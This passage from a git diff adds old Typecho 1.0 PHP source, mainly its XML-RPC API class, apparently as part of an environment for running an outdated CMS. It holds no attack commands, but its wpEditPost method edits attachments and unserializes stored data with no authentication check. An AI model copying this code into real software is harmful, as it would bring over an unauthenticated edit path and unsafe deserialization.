$this->widget('Widget_Abstract_Options')->insert(array( + 'name' => $name, + 'value' => serialize($settings), + 'user' => $this->user->uid + )); + } + } + + /** 提示信息 */ + $this->widget('Widget_Notice')->set(_t("%s 设置已经保存", $info['title']), 'success'); + + /** 转向原页 */ + $this->response->redirect(Typecho_Common::url('profile.php', $this->options->adminUrl)); + } + + /** + * 用自有函数处理自定义配置信息 + * + * @access public + * @param string $className 类名 + * @param array $settings 配置值 + * @return boolean + */ + public function personalConfigHandle($className, array $settings) + { + if (method_exists($className, 'personalConfigHandle')) { + call_user_func(array($className, 'personalConfigHandle'), $settings, false); + return true; + } + + return false; + } + + /** + * 入口函数 + * + * @access public + * @return void + */ + public function action() + { + $this->security->protect(); + $this->on($this->request->is('do=profile'))->updateProfile(); + $this->on($this->request->is('do=options'))->updateOptions(); + $this->on($this->request->is('do=password'))->updatePassword(); + $this->on($this->request->is('do=personal&plugin'))->updatePersonal(); + $this->response->redirect($this->options->siteUrl); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/XmlRpc.php b/Typecho/1.0/php-fpm/src/var/Widget/XmlRpc.php new file mode 100755 index 000000000..3a2525b7d --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/XmlRpc.php @@ -0,0 +1,2326 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * Typecho Blog Platform + * + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * XmlRpc接口 + * + * @author blankyao + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_XmlRpc extends Widget_Abstract_Contents implements Widget_Interface_Do +{ + /** + * 当前错误 + * + * @access private + * @var IXR_Error + */ + private $error; + + /** + * wordpress风格的系统选项 + * + * @access private + * @var array + */ + private $_wpOptions; + + /** + * 已经使用过的组件列表 + * + * @access private + * @var array + */ + private $_usedWidgetNameList = array(); + + /** + * 获取扩展字段 + * + * @access private + * @param Widget_Abstract_Contents $content + * @return array + */ + private function getPostExtended(Widget_Abstract_Contents $content) + { + //根据客户端显示来判断是否显示html代码 + $agent = $this->request->getAgent(); + $text = ''; + + switch (true) { + case false !== strpos($agent, 'wp-iphone'): // wordpress iphone客户端 + case false !== strpos($agent, 'wp-blackberry'): // 黑莓 + case false !== strpos($agent, 'wp-andriod'): // andriod + case false !== strpos($agent, 'plain-text'): // 这是预留给第三方开发者的接口, 用于强行调用非所见即所得数据 + $text = $content->text; + break; + default: + $text = $content->content; + break; + } + + $post = explode('<!--more-->', $text, 2); + return array(Typecho_Common::fixHtml($post[0]), isset($post[1]) ? Typecho_Common::fixHtml($post[1]) : NULL); + } + + /** + * 将typecho的状态类型转换为wordperss的风格 + * + * @access private + * @param string $status typecho的状态 + * @param string $type 内容类型 + * @return string + */ + private function typechoToWordpressStatus($status, $type = 'post') + { + if ('post' == $type) { + /** 文章状态 */ + switch ($status) { + case 'waiting': + return 'pending'; + case 'publish': + case 'draft': + case 'private': + return $status; + default: + return 'publish'; + } + } else if ('page' == $type) { + switch ($status) { + case 'publish': + case 'draft': + case 'private': + return $status; + default: + return 'publish'; + } + } else if ('comment' == $type) { + switch ($status) { + case 'publish': + case 'approved': + return 'approve'; + case 'waiting': + return 'hold'; + case 'spam': + return $status; + default: + return 'approve'; + } + } + + return ''; + } + + /** + * 将wordpress的状态类型转换为typecho的风格 + * + * @access private + * @param string $status wordpress的状态 + * @param string $type 内容类型 + * @return string + */ + private function wordpressToTypechoStatus($status, $type = 'post') + { + if ('post' == $type) { + /** 文章状态 */ + switch ($status) { + case 'pending': + return 'waiting'; + case 'publish': + case 'draft': + case 'private': + case 'waiting': + return $status; + default: + return 'publish'; + } + } else if ('page' == $type) { + switch ($status) { + case 'publish': + case 'draft': + case 'private': + return $status; + default: + return 'publish'; + } + } else if ('comment' == $type) { + switch ($status) { + case 'approve': + case 'publish': + case 'approved': + return 'approved'; + case 'hold': + case 'waiting': + return 'waiting'; + case 'spam': + return $status; + default: + return 'approved'; + } + } + + return ''; + } + + /** + * 代理工厂方法,将类静态化放置到列表中 + * + * @access public + * @param string $alias 组件别名 + * @param mixed $params 传递的参数 + * @param mixed $request 前端参数 + * @param boolean $enableResponse 是否允许http回执 + * @return object + * @throws Typecho_Exception + */ + private function singletonWidget($alias, $params = NULL, $request = NULL, $enableResponse = true) + { + $this->_usedWidgetNameList[] = $alias; + return Typecho_Widget::widget($alias, $params, $request, $enableResponse); + } + + /** + * 如果这里没有重载, 每次都会被默认执行 + * + * @access public + * @param boolen $run 是否执行 + * @return void + */ + public function execute($run = false) + { + if ($run) { + parent::execute(); + } + + $this->_wpOptions = array( + // Read only options + 'software_name' => array( + 'desc' => _t( '软件名称' ), + 'readonly' => true, + 'value' => $this->options->software + ), + 'software_version' => array( + 'desc' => _t( '软件版本' ), + 'readonly' => true, + 'value' => $this->options->version + ), + 'blog_url' => array( + 'desc' => _t( '博客地址' ), + 'readonly' => true, + 'option' => 'siteUrl' + ), + 'home_url' => array( + 'desc' => _t( '博客首页地址' ), + 'readonly' => true, + 'option' => 'siteUrl' + ), + 'login_url' => array( + 'desc' => _t( '登录地址' ), + 'readonly' => true, + 'value' => $this->options->siteUrl.'admin/login.php' + ), + 'admin_url' => array( + 'desc' => _t( '管理区域的地址' ), + 'readonly' => true, + 'value' => $this->options->siteUrl.'admin/' + ), + + 'post_thumbnail' => array( + 'desc' => _t( '文章缩略图' ), + 'readonly' => true, + 'value' => false + ), + + // Updatable options + 'time_zone' => array( + 'desc' => _t( '时区' ), + 'readonly' => false, + 'option' => 'timezone' + ), + 'blog_title' => array( + 'desc' => _t( '博客标题' ), + 'readonly' => false, + 'option' => 'title' + ), + 'blog_tagline' => array( + 'desc' => _t( '博客关键字' ), + 'readonly' => false, + 'option' => 'description' + ), + 'date_format' => array( + 'desc' => _t( '日期格式' ), + 'readonly' => false, + 'option' => 'postDateFormat' + ), + 'time_format' => array( + 'desc' => _t( '时间格式' ), + 'readonly' => false, + 'option' => 'postDateFormat' + ), + 'users_can_register' => array( + 'desc' => _t( '是否允许注册' ), + 'readonly' => false, + 'option' => 'allowRegister' + ) + ); + } + + /** + * 检查权限 + * + * @access public + * @return void + */ + public function checkAccess($name, $password, $level = 'contributor') + { + if ($this->user->login($name, $password, true)) { + /** 验证权限 */ + if ($this->user->pass($level, true)) { + return true; + } else { + $this->error = new IXR_Error(403, _t('权限不足')); + return false; + } + } else { + $this->error = new IXR_Error(403, _t('无法登陆, 密码错误')); + return false; + } + } + + /** about wp xmlrpc api, you can see http://codex.wordpress.org/XML-RPC*/ + + /** + * 获取pageId指定的page + * + * @param int $blogId + * @param int $pageId + * @param string $userName + * @param string $password + * @access public + * @return struct $pageStruct + */ + public function wpGetPage($blogId, $pageId, $userName, $password) + { + /** 检查权限 */ + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + + /** 获取页面 */ + try { + /** 由于Widget_Contents_Page_Edit是从request中获取参数, 因此我们需要强行设置flush一下request */ + /** widget方法的第三个参数可以指定强行转换传入此widget的request参数 */ + /** 此组件会进行复杂的权限检测 */ + $page = $this->singletonWidget('Widget_Contents_Page_Edit', NULL, "cid={$pageId}"); + } catch (Typecho_Widget_Exception $e) { + /** 截获可能会抛出的异常(参见 Widget_Contents_Page_Edit 的 execute 方法) */ + return new IXR_Error($e->getCode(), $e->getMessage()); + } + + /** 对文章内容做截取处理,以获得description和text_more*/ + list($excerpt, $more) = $this->getPostExtended($page); + + $pageStruct = array( + 'dateCreated' => new IXR_Date($this->options->timezone + $page->created), + 'userid' => $page->authorId, + 'page_id' => $page->cid, + 'page_status' => $this->typechoToWordpressStatus($page->status, 'page'), + 'description' => $excerpt, + 'title' => $page->title, + 'link' => $page->permalink, + 'permaLink' => $page->permalink, + 'categories' => $page->categories, + 'excerpt' => $page->description, + 'text_more' => $more, + 'mt_allow_comments' => intval($page->allowComment), + 'mt_allow_pings' => intval($page->allowPing), + 'wp_slug' => $page->slug, + 'wp_password' => $page->password, + 'wp_author' => $page->author->name, + 'wp_page_parent_id' => '0', + 'wp_page_parent_title' => '', + 'wp_page_order' => $page->order, //meta是描述字段, 在page时表示顺序 + 'wp_author_id' => $page->authorId, + 'wp_author_display_name' => $page->author->screenName, + 'date_created_gmt' => new IXR_Date($page->created), + 'custom_fields' => array(), + 'wp_page_template' => $page->template + ); + + return $pageStruct; + } + + /** + * 获取所有的page + * + * @param int $blogId + * @param string $userName + * @param string $password + * @access public + * @return array(contains $pageStruct) + */ + public function wpGetPages($blogId, $userName, $password) + { + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + + /** 过滤type为page的contents */ + /** 同样需要flush一下, 需要取出所有status的页面 */ + $pages = $this->singletonWidget('Widget_Contents_Page_Admin', NULL, 'status=all'); + + /** 初始化要返回的数据结构 */ + $pageStructs = array(); + + while ($pages->next()) { + /** 对文章内容做截取处理,以获得description和text_more*/ + list($excerpt, $more) = $this->getPostExtended($pages); + $pageStructs[] = array( + 'dateCreated' => new IXR_Date($this->options->timezone + $pages->created), + 'userid' => $pages->authorId, + 'page_id' => intval($pages->cid), + /** todo:此处有疑问 */ + 'page_status' => $this->typechoToWordpressStatus($pages->status, 'page'), + 'description' => $excerpt, + 'title' => $pages->title, + 'link' => $pages->permalink, + 'permaLink' => $pages->permalink, + 'categories' => $pages->categories, + 'excerpt' => $pages->description, + 'text_more' => $more, + 'mt_allow_comments' => intval($pages->allowComment), + 'mt_allow_pings' => intval($pages->allowPing), + 'wp_slug' => $pages->slug, + 'wp_password' => $pages->password, + 'wp_author' => $pages->author->name, + 'wp_page_parent_id' => 0, + 'wp_page_parent_title' => '', + 'wp_page_order' => intval($pages->order), //meta是描述字段, 在page时表示顺序 + 'wp_author_id' => $pages->authorId, + 'wp_author_display_name' => $pages->author->screenName, + 'date_created_gmt' => new IXR_Date($pages->created), + 'custom_fields' => array(), + 'wp_page_template' => $pages->template + ); + } + + return $pageStructs; + } + + /** + * 撰写一个新page + * + * @param int $blogId + * @param string $userName + * @param string $password + * @param struct $content + * @param bool $publish + * @access public + * @return void + */ + public function wpNewPage($blogId, $userName, $password, $content, $publish) + { + if (!$this->checkAccess($userName, $password, 'editor')) { + return $this->error; + } + $content['post_type'] = 'page'; + $this->mwNewPost($blogId, $userName, $password, $content, $publish); + } + + /** + * 删除pageId指定的page + * + * @param int $blogId + * @param string $userName + * @param string $password + * @param int $pageId + * @access public + * @return bool + */ + public function wpDeletePage($blogId, $userName, $password, $pageId) + { + if (!$this->checkAccess($userName, $password, 'editor')) { + return $this->error; + } + + /** 删除页面 */ + try { + /** 此组件会进行复杂的权限检测 */ + $this->singletonWidget('Widget_Contents_Page_Edit', NULL, "cid={$pageId}", false)->deletePage(); + } catch (Typecho_Widget_Exception $e) { + /** 截获可能会抛出的异常(参见 Widget_Contents_Page_Edit 的 execute 方法) */ + return new IXR_Error($e->getCode(), $e->getMessage()); + } + + return true; + } + + /** + * 编辑pageId指定的page + * + * @param int $blogId + * @param int $pageId + * @param string $userName + * @param string $password + * @param struct $content + * @param bool $publish + * @access public + * @return bool + */ + public function wpEditPage($blogId, $pageId, $userName, $password, $content, $publish) + { + $content['type'] = 'page'; + $this->mwEditPost($blogId, $pageId, $userName, $password, $content, $publish); + } + + + /** + * 编辑postId指定的post + * + * @param int $blogId + * @param string $userName + * @param string $password + * @param int $postId + * @param struct $content + * @access public + * @return bool + */ + public function wpEditPost($blogId, $userName, $password, $postId, $content) + { + + $post = $this->singletonWidget('Widget_Archive', 'type=single', 'cid=' . $postId, false); + if ($post->type == 'attachment') { + $attachment['title'] = $content['post_title']; + $attachment['slug'] = $content['post_excerpt']; + + $text = unserialize($post->text); + $text['description'] = $content['description']; + + $attachment['text'] = serialize($text); + + /** 更新数据 */ + $updateRows = $this->update($attachment, $this->db->sql()->where('cid = ?', $postId)); + return true; + } + return $this->mwEditPost($blogId, $postId, $userName, $password, $content); + } + + /** + * 获取page列表,没有wpGetPages获得的详细 + * + * @param int $blogId + * @param string $userName + * @param string $password + * @access public + * @return array + */ + public function wpGetPageList($blogId, $userName, $password) + { + if (!$this->checkAccess($userName, $password, 'editor')) { + return ($this->error); + } + $pages = $this->singletonWidget('Widget_Contents_Page_Admin', NULL, 'status=all'); + /**初始化*/ + $pageStructs = array(); + + while ($pages->next()) { + $pageStructs[] = array( + 'dateCreated' => new IXR_Date($this->options->timezone + $pages->created), + 'date_created_gmt' => new IXR_Date($this->options->timezone + $pages->created), + 'page_id' => $pages->cid, + 'page_title' => $pages->title, + 'page_parent_id' => '0', + ); + } + + return $pageStructs; + } + + /** + * 获得一个由blog所有作者的信息组成的数组 + * + * @param int $blogId + * @param string $userName + * @param string $password + * @access public + * @return struct + */ + public function wpGetAuthors($blogId, $userName, $password) + { + if (!$this->checkAccess($userName, $password, 'editor')) { + return ($this->error); + } + + /** 构建查询*/ + $select = $this->db->select('table.users.uid', 'table.users.name', 'table.users.screenName')->from('table.users'); + $authors = $this->db->fetchAll($select); + + $authorStructs = array(); + foreach ($authors as $author) { + $authorStructs[] = array( + 'user_id' => $author['uid'], + 'user_login' => $author['name'], + 'display_name' => $author['screenName'] + ); + } + + return $authorStructs; + } + + /** + * 添加一个新的分类 + * + * @param int $blogId + * @param string $userName + * @param string $password + * @param struct $category + * @access public + * @return void + */ + public function wpNewCategory($blogId, $userName, $password, $category) + { + if (!$this->checkAccess($userName, $password)) { + return ($this->error); + } + + /** 开始接受数据 */ + $input['name'] = $category['name']; + $input['slug'] = Typecho_Common::slugName(empty($category['slug']) ? $category['name'] : $category['slug']); + $input['parent'] = isset($category['parent_id']) ? $category['parent_id'] : + (isset($category['parent']) ? $category['parent'] : 0); + $input['description'] = isset($category['description']) ? $category['description'] : $category['name']; + $input['do'] = 'insert'; + + /** 调用已有组件 */ + try { + /** 插入 */ + $categoryWidget = $this->singletonWidget('Widget_Metas_Category_Edit', NULL, $input, false); + $categoryWidget->action(); + return $categoryWidget->mid; + } catch (Typecho_Widget_Exception $e) { + return new IXR_Error($e->getCode(), $e->getMessage()); + } + + return new IXR_Error(403, _t('无法添加分类')); + } + + /** + * 获取由给定的string开头的链接组成的数组 + * + * @param int $blogId + * @param string $userName + * @param string $password + * @param string $category + * @param int $max_results + * @access public + * @return array + */ + public function wpSuggestCategories($blogId, $userName, $password, $category, $max_results) + { + if (!$this->checkAccess($userName, $password)) { + return ($this->error); + } + + $meta = $this->singletonWidget('Widget_Abstract_Metas'); + + /** 构造出查询语句并且查询*/ + $key = Typecho_Common::filterSearchQuery($category); + $key = '%' . $key . '%'; + $select = $meta->select()->where('table.metas.type = ? AND (table.metas.name LIKE ? OR slug LIKE ?)', 'category', $key, $key); + + /** 不要category push到contents的容器中 */ + $categories = $this->db->fetchAll($select); + + /** 初始化categorise数组*/ + $categoryStructs = array(); + foreach ($categories as $category) { + $categoryStructs[] = array( + 'category_id' => $category['mid'], + 'category_name' => $category['name'], + ); + } + + return $categoryStructs; + } + + /** + * 获取用户 + * + * @access public + * @param string $userName 用户名 + * @param string $password 密码 + * @return array + */ + public function wpGetUsersBlogs($userName, $password) + { + + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + + $struct = array(); + $struct[] = array( + 'isAdmin' => $this->user->pass('administrator', true), + 'url' => $this->options->siteUrl, + 'blogid' => '1', + 'blogName' => $this->options->title, + 'xmlrpc' => $this->options->xmlRpcUrl + ); + return $struct; + } + + /** + * 获取用户 + * + * @access public + * @param string $userName 用户名 + * @param string $password 密码 + * @return array + */ + public function wpGetProfile($blogId, $userName, $password) + { + + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + + $struct = array( + 'user_id' => $this->user->uid, + 'username' => $this->user->name, + 'first_name' => '', + 'last_name' => '', + 'registered' => new IXR_Date($this->options->timezone + $this->user->created), + 'bio' => '', + 'email' => $this->user->mail, + 'nickname' => $this->user->screenName, + 'url' => $this->user->url, + 'display_name' => $this->user->screenName, + 'roles' => $this->user->group + ); + return $struct; + } + + /** + * 获取标签列表 + * + * @access public + * @param integer $blogId + * @param string $userName + * @param string $password + * @return array + */ + public function wpGetTags($blogId, $userName, $password) + { + /** 检查权限*/ + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + + $struct = array(); + $tags = $this->singletonWidget('Widget_Metas_Tag_Cloud'); + + while ($tags->next()) { + $struct[] = array( + 'tag_id' => $tags->mid, + 'name' => $tags->name, + 'count' => $tags->count, + 'slug' => $tags->slug, + 'html_url' => $tags->permalink, + 'rss_url' => $tags->feedUrl + ); + } + + return $struct; + } + + /** + * 删除分类 + * + * @access public + * @param integer $blogId + * @param string $userName + * @param string $password + * @param integer $categoryId + * @return array + */ + public function wpDeleteCategory($blogId, $userName, $password, $categoryId) + { + /** 检查权限*/ + if (!$this->checkAccess($userName, $password, 'editor')) { + return $this->error; + } + + try { + $this->singletonWidget('Widget_Metas_Category_Edit', NULL, 'do=delete&mid=' . intval($categoryId), false); + return true; + } catch (Typecho_Exception $e) { + return false; + } + } + + /** + * 获取评论数目 + * + * @access public + * @param integer $blogId + * @param string $userName + * @param string $password + * @param integer $postId + * @return array + */ + public function wpGetCommentCount($blogId, $userName, $password, $postId) + { + /** 检查权限*/ + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + + $stat = $this->singletonWidget('Widget_Stat', NULL, 'cid=' . intval($postId), false); + + return array( + 'approved' => $stat->currentPublishedCommentsNum, + 'awaiting_moderation' => $stat->currentWaitingCommentsNum, + 'spam' => $stat->currentSpamCommentsNum, + 'total_comments' => $stat->currentCommentsNum + ); + } + + + /** + * 获取文章类型列表 + * + * @access public + * @param integer $blogId + * @param string $userName + * @param string $password + * @return array + */ + public function wpGetPostFormats($blogId, $userName, $password) + { + /** 检查权限*/ + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + + return array( + 'standard' => _t('标准') + ); + } + + /** + * 获取文章状态列表 + * + * @access public + * @param integer $blogId + * @param string $userName + * @param string $password + * @return array + */ + public function wpGetPostStatusList($blogId, $userName, $password) + { + /** 检查权限*/ + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + + return array( + 'draft' => _t('草稿'), + 'pending' => _t('待审核'), + 'publish' => _t('已发布') + ); + } + + /** + * 获取页面状态列表 + * + * @access public + * @param integer $blogId + * @param string $userName + * @param string $password + * @return array + */ + public function wpGetPageStatusList($blogId, $userName, $password) + { + /** 检查权限*/ + if (!$this->checkAccess($userName, $password, 'editor')) { + return $this->error; + } + + return array( + 'draft' => _t('草稿'), + 'publish' => _t('已发布') + ); + } + + + + /** + * 获取评论状态列表 + * + * @access public + * @param integer $blogId + * @param string $userName + * @param string $password + * @return array + */ + public function wpGetCommentStatusList($blogId, $userName, $password) + { + /** 检查权限*/ + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + + return array( + 'hold' => _t('待审核'), + 'approve' => _t('显示'), + 'spam' => _t('垃圾') + ); + } + + /** + * 获取页面模板 + * + * @access public + * @param integer $blogId + * @param string $userName + * @param string $password + * @return array + */ + public function wpGetPageTemplates($blogId, $userName, $password) + { + /** 检查权限*/ + if (!$this->checkAccess($userName, $password, 'editor')) { + return $this->error; + } + + $templates = array_flip($this->getTemplates()); + $templates['Default'] = ''; + + return $templates; + } + + /** + * 获取系统选项 + * + * @access public + * @param integer $blogId + * @param string $userName + * @param string $password + * @param array $options + * @return array + */ + public function wpGetOptions($blogId, $userName, $password, $options = array()) + { + /** 检查权限*/ + if (!$this->checkAccess($userName, $password, 'administrator')) { + return $this->error; + } + + $struct = array(); + if (empty($options)) { + $options = array_keys($this->_wpOptions); + } + + foreach ($options as $option) { + if (isset($this->_wpOptions[$option])) { + $struct[$option] = $this->_wpOptions[$option]; + if (isset($struct[$option]['option'])) { + $struct[$option]['value'] = $this->options->{$struct[$option]['option']}; + unset($struct[$option]['option']); + } + } + } + + return $struct; + } + + /** + * 设置系统选项 + * + * @access public + * @param integer $blogId + * @param string $userName + * @param string $password + * @param array $options + * @return array + */ + public function wpSetOptions($blogId, $userName, $password, $options = array()) + { + /** 检查权限*/ + if (!$this->checkAccess($userName, $password, 'administrator')) { + return $this->error; + } + + $struct = array(); + foreach ($options as $option => $value) { + if (isset($this->_wpOptions[$option])) { + $struct[$option] = $this->_wpOptions[$option]; + if (isset($struct[$option]['option'])) { + $struct[$option]['value'] = $this->options->{$struct[$option]['option']}; + unset($struct[$option]['option']); + } + + if (!$this->_wpOptions[$option]['readonly'] && isset($this->_wpOptions[$option]['option'])) { + if ($this->db->query($this->db->update('table.options') + ->rows(array('value' => $value)) + ->where('name = ?', $this->_wpOptions[$option]['option'])) > 0) { + $struct[$option]['value'] = $value; + } + } + } + } + + return $struct; + } + + /** + * 获取评论 + * + * @access public + * @param integer $blogId + * @param string $userName + * @param string $password + * @param integer $commentId + * @return array + */ + public function wpGetComment($blogId, $userName, $password, $commentId) + { + /** 检查权限*/ + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + + $comment = $this->singletonWidget('Widget_Comments_Edit', NULL, 'do=get&coid=' . intval($commentId), false); + + if (!$comment->have()) { + return new IXR_Error(404, _t('评论不存在')); + } + + if (!$comment->commentIsWriteable()) { + return new IXR_Error(403, _t('没有获取评论的权限')); + } + + return array( + 'date_created_gmt' => new IXR_Date($this->options->timezone + $comment->created), + 'user_id' => $comment->authorId, + 'comment_id' => $comment->coid, + 'parent' => $comment->parent, + 'status' => $this->typechoToWordpressStatus($comment->status, 'comment'), + 'content' => $comment->text, + 'link' => $comment->permalink, + 'post_id' => $comment->cid, + 'post_title' => $comment->title, + 'author' => $comment->author, + 'author_url' => $comment->url, + 'author_email' => $comment->mail, + 'author_ip' => $comment->ip, + 'type' => $comment->type + ); + } + + /** + * 获取评论列表 + * + * @access public + * @param integer $blogId + * @param string $userName + * @param string $password + * @param array $struct + * @return array + */ + public function wpGetComments($blogId, $userName, $password, $struct) + { + /** 检查权限*/ + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + + $input = array(); + if (!empty($struct['status'])) { + $input['status'] = 'hold' == $input['status'] ? $input['status'] : + $this->wordpressToTypechoStatus($struct['status']); + } else { + $input['__typecho_all_comments'] = 'on'; + } + + if (!empty($struct['post_id'])) { + $input['cid'] = $struct['post_id']; + } + + $pageSize = 10; + if (!empty($struct['number'])) { + $pageSize = abs(intval($struct['number'])); + } + + if (!empty($struct['offset'])) { + $offset = abs(intval($struct['offset'])); + $input['page'] = ceil($offset / $pageSize); + } + + $comments = $this->singletonWidget('Widget_Comments_Admin', 'pageSize=' . $pageSize, $input, false); + $commentsStruct = array(); + + while ($comments->next()) { + $commentsStruct[] = array( + 'date_created_gmt' => new IXR_Date($this->options->timezone + $comments->created), + 'user_id' => $comments->authorId, + 'comment_id' => $comments->coid, + 'parent' => $comments->parent, + 'status' => $this->typechoToWordpressStatus($comments->status, 'comment'), + 'content' => $comments->text, + 'link' => $comments->permalink, + 'post_id' => $comments->cid, + 'post_title' => $comments->title, + 'author' => $comments->author, + 'author_url' => $comments->url, + 'author_email' => $comments->mail, + 'author_ip' => $comments->ip, + 'type' => $comments->type + ); + } + + return $commentsStruct; + } + + /** + * 获取评论 + * + * @access public + * @param integer $blogId + * @param string $userName + * @param string $password + * @param integer $commentId + * @return boolean + */ + public function wpDeleteComment($blogId, $userName, $password, $commentId) + { + /** 检查权限*/ + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + + $commentId = abs(intval($commentId)); + $commentWidget = $this->singletonWidget('Widget_Abstract_Comments'); + $where = $this->db->sql()->where('coid = ?', $commentId); + + if (!$commentWidget->commentIsWriteable($where)) { + return new IXR_Error(403, _t('无法编辑此评论')); + } + + return intval($this->singletonWidget('Widget_Abstract_Comments')->delete($where)) > 0; + } + + /** + * 编辑评论 + * + * @access public + * @param integer $blogId + * @param string $userName + * @param string $password + * @param integer $commentId + * @param array $struct + * @return boolean + */ + public function wpEditComment($blogId, $userName, $password, $commentId, $struct) + { + /** 检查权限*/ + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + + $commentId = abs(intval($commentId)); + $commentWidget = $this->singletonWidget('Widget_Abstract_Comments'); + $where = $this->db->sql()->where('coid = ?', $commentId); + + if (!$commentWidget->commentIsWriteable($where)) { + return new IXR_Error(403, _t('无法编辑此评论')); + } + + $input = array(); + + if (isset($struct['date_created_gmt'])) { + $input['created'] = $struct['date_created_gmt']->getTimestamp() - $this->options->timezone + $this->options->serverTimezone; + } + + if (isset($struct['status'])) { + $input['status'] = $this->wordpressToTypechoStatus($struct['status'], 'comment'); + } + + if (isset($struct['content'])) { + $input['text'] = $struct['content']; + } + + if (isset($struct['author'])) { + $input['author'] = $struct['author']; + } + + if (isset($struct['author_url'])) { + $input['url'] = $struct['author_url']; + } + + if (isset($struct['author_email'])) { + $input['mail'] = $struct['author_email']; + } + + $result = $commentWidget->update((array) $input, $where); + + if (!$result) { + return new IXR_Error(404, _t('评论不存在')); + } + + return true; + } + + /** + * 更新评论 + * + * @access public + * @param integer $blogId + * @param string $userName + * @param string $password + * @param mixed $path + * @param array $struct + * @return int + */ + public function wpNewComment($blogId, $userName, $password, $path, $struct) + { + /** 检查权限*/ + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + + if (is_numeric($path)) { + $post = $this->singletonWidget('Widget_Archive', 'type=single', 'cid=' . $path, false); + } else { + /** 检查目标地址是否正确*/ + $pathInfo = Typecho_Common::url(substr($path, strlen($this->options->index)), '/'); + $post = Typecho_Router::match($pathInfo); + } + + /** 这样可以得到cid或者slug*/ + if (!isset($post) || !($post instanceof Widget_Archive) || !$post->have() || !$post->is('single')) { + return new IXR_Error(404, _t('这个目标地址不存在')); + } + + $input = array(); + $input['permalink'] = $post->pathinfo; + $input['type'] = 'comment'; + + if (isset($struct['comment_author'])) { + $input['author'] = $struct['author']; + } + + if (isset($struct['comment_author_email'])) { + $input['mail'] = $struct['author_email']; + } + + if (isset($struct['comment_author_url'])) { + $input['url'] = $struct['author_url']; + } + + if (isset($struct['comment_parent'])) { + $input['parent'] = $struct['comment_parent']; + } + + if (isset($struct['content'])) { + $input['text'] = $struct['content']; + } + + try { + $commentWidget = $this->singletonWidget('Widget_Feedback', 'checkReferer=false', $input, false); + $commentWidget->action(); + return intval($commentWidget->coid); + } catch (Typecho_Exception $e) { + return new IXR_Error(500, $e->getMessage()); + } + + return new IXR_Error(403, _t('无法添加评论')); + } + + + + /** + * 获取媒体文件 + * + * @access public + * @param integer $blogId + * @param string $userName + * @param string $password + * @param struct $struct + * @return boolean + */ + public function wpGetMediaLibrary($blogId, $userName, $password, $struct) + { + /** 检查权限*/ + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + + + $input = array(); + + if (!empty($struct['parent_id'])) { + $input['parent'] = $struct['parent_id']; + } + + if (!empty($struct['mime_type'])) { + $input['mime'] = $struct['mime_type']; + } + + $pageSize = 10; + if (!empty($struct['number'])) { + $pageSize = abs(intval($struct['number'])); + } + + if (!empty($struct['offset'])) { + $input['page'] = abs(intval($struct['offset'])) + 1; + } + + $attachments = $this->singletonWidget('Widget_Contents_Attachment_Admin', 'pageSize=' . $pageSize, $input, false); + $attachmentsStruct = array(); + + while ($attachments->next()) { + $attachmentsStruct[] = array( + 'attachment_id' => $attachments->cid, + 'date_created_gmt' => new IXR_Date($this->options->timezone + $attachments->created), + 'parent' => $attachments->parent, + 'link' => $attachments->attachment->url, + 'title' => $attachments->title, + 'caption' => $attachments->slug, + 'description' => $attachments->attachment->description, + 'metadata' => array( + 'file' => $attachments->attachment->path, + 'size' => $attachments->attachment->size, + ), + 'thumbnail' => $attachments->attachment->url, + + ); + } + return $attachmentsStruct; + } + + /** + * 获取媒体文件 + * + * @access public + * @param integer $blogId + * @param string $userName + * @param string $password + * @param int $attachmentId + * @return boolean + */ + public function wpGetMediaItem($blogId, $userName, $password, $attachmentId) + { + /** 检查权限*/ + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + + + $attachment = $this->singletonWidget('Widget_Contents_Attachment_Edit', NULL, "cid={$attachmentId}"); + $struct = array( + 'attachment_id' => $attachment->cid, + 'date_created_gmt' => new IXR_Date($this->options->timezone + $attachment->created), + 'parent' => $attachment->parent, + 'link' => $attachment->attachment->url, + 'title' => $attachment->title, + 'caption' => $attachment->slug, + 'description' => $attachment->attachment->description, + 'metadata' => array( + 'file' => $attachment->attachment->path, + 'size' => $attachment->attachment->size, + ), + 'thumbnail' => $attachment->attachment->url, + + ); + return $struct; + } + + + + /**about MetaWeblog API, you can see http://www.xmlrpc.com/metaWeblogApi*/ + /** + * MetaWeblog API + * + * @param int $blogId + * @param string $userName + * @param string $password + * @param struct $content + * @param bool $publish + * @access public + * @return int + */ + public function mwNewPost($blogId, $userName, $password, $content, $publish) + { + /** 检查权限*/ + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + + /** 取得content内容 */ + $input = array(); + $type = isset($content['post_type']) && 'page' == $content['post_type'] ? 'page' : 'post'; + + $input['title'] = trim($content['title']) == NULL ? _t('未命名文档') : $content['title']; + + if (isset($content['slug'])) { + $input['slug'] = $content['slug']; + } else if (isset($content['wp_slug'])) { + //fix issue 338, wlw只发送这个 + $input['slug'] = $content['wp_slug']; + } + + $input['text'] = !empty($content['mt_text_more']) ? $content['description'] + . "\n<!--more-->\n" . $content['mt_text_more'] : $content['description']; + $input['text'] = $this->pluginHandle()->textFilter($input['text'], $this); + + $input['password'] = isset($content["wp_password"]) ? $content["wp_password"] : NULL; + $input['order'] = isset($content["wp_page_order"]) ? $content["wp_page_order"] : NULL; + + $input['tags'] = isset($content['mt_keywords']) ? $content['mt_keywords'] : NULL; + $input['category'] = array(); + + if 